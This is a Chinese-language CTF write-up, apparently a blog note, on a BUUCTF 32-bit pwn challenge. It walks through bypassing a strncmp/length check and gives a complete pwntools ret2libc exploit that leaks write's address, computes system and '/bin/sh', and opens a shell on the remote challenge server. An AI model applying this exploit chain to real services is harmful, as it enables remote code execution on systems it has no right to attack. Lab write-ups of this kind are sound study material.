小白垃圾笔记不建议阅读。。。。
这道题额………………做了好几天。。
更离谱的是还把ubuntu16给玩坏了。
师傅说kali可以打通,气得我连夜下卡里
后来发现不是版本的问题,是我的脚本的问题。libc写的不对。
先分析这道题。
32位程序。没有canary,没有pie,只有一个NX
ida 里 main函数
那么a1来自哪里?a1实际上是传入的参数v2
v2 = sub_804871F(buf);
v2是sub_804871f返回的数据buf[7]
所以要想溢出首先要绕过buf[7]这一关,将buf[7]这里设置成\xff
这样就可以复制\xff个字节了。
那么如何是设置?
这一行:标准输入到buf那么我们如果要设置buf[7]=\xff
的话需要填充这样
b'b'*7+b'\xff'
数组是从0开始的。所以buf[7]实际对应的是第八个数据
但是有一个事情需要注意
第14行,如果比较n个字符相同返回0
,
所以我们还需要绕过strlen,让他比较0个字符,这样是相等的,就会返回0,if里的退出语句就不会被执行。
那么更改第一次payload
b'\x00'+ b'b'*+b'\xff'
这样才可以利用溢出点。
那么我们第一次溢出泄露出write的真实地址。从而用于计算system和binsh的地址,然后再次构造payload,执行system函数。
脚本如下:
from pwn import *
from LibcSearcher3 import *
#print(hex(puts_addr)) # 输出puts函数的地址
debug=0
if debug:
p=process('./pwn')
libc=ELF('/lib/i386-linux-gnu/libc.so.6') #这里的libc是ldd查看的第二行=>后的地址
elf=ELF('./pwn')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
#context.libc=ELF('./libc-2.23.so')
else:
p=remote('node4.buuoj.cn',27035)
elf=ELF('./pwn')
context.log_level='debug'
libc=ELF('./libc-2.23.so')
def ru(x):
return p.recvuntil(x)
def se(x):
p.sendline(x)
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x08048825
payload1=b'\x00'+b'b'*6+b'\xff' #+b'b'*223+b'b'*4+p32(write_plt)+p32(main) +p32(1)+p32(write_got)+p32(4)
se(payload1)
t=p.recv(8)
payload2=b'b'*0xe7+b'b'*4+p32(write_plt)+p32(main) +p32(1)+p32(write_got)+p32(4)
se(payload2)
write_add=u32(p.recv(4))
print(hex(write_add))
libc_base=write_add-libc.symbols['write']
system_add=libc_base+libc.symbols['system']
bin_sh_add=libc_base+next(libc.search(b'/bin/sh'))
print('libc_base:%x'%libc_base)
print('system:%x'%system_add)
print('bin_sh_add:%x'%bin_sh_add)
payload3=b'b'*0xe7+b'b'*4+p32(system_add)+b'aaaa'+p32(bin_sh_add)
se(payload1)
p.recv(8)
se(payload3)
p.interactive()